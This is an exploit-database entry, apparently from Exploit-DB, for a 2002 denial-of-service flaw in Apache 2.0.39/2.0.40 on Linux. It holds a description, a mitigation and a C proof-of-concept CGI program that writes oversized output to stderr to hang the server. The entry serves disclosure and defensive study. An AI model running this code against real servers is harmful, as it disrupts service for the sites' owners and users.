Apache Denial of Service Vulnerability

vendor:

HTTP Server

by:

K.C. Wong

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: HTTP Server

Affected Version From: Apache 2.0.39

Affected Version To: Apache 2.0.40

Patch Exists: YES

Related CWE: N/A

CPE: a:apache:http_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2002

Apache Denial of Service Vulnerability

Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system. This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue.

Mitigation:

Limit the amount of data written to stderr.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/5787/info

Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system.

This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue. 

This issue has been confirmed in Apache 2.0.39/2.0.40 on Linux operating systems. Apache on other platforms may also be affected. This issue does not appear to be present in versions prior to 2.0.x.

// Credit to: K.C. Wong
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#define SIZE 4075

void out_err()
{
        char buffer[SIZE];
        int i = 0;

        for (i = 0; i < SIZE - 1; ++i)
                buffer[i] = 'a' + (char )(i % 26);

        buffer[SIZE - 1] = '\0';

//
fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);

        fprintf(stderr, "short test\n");
        fflush(stderr);

        fprintf(stderr, "test error=%s\n", buffer);
        fflush(stderr);
} // out_err()

int main(int argc, char ** argv)
{
        fprintf(stdout, "Context-Type: text/html\r\n");
        fprintf(stdout, "\r\n\r\n");
        out_err();
        fprintf(stdout, "<HTML>\n");
        fprintf(stdout, "<body>\n");
        fprintf(stdout, "<h1>hello world</h1>\n");
        fprintf(stdout, "</body>\n");
        fprintf(stdout, "</HTML>\n");
        fflush(stdout);
        exit(0);
} // main()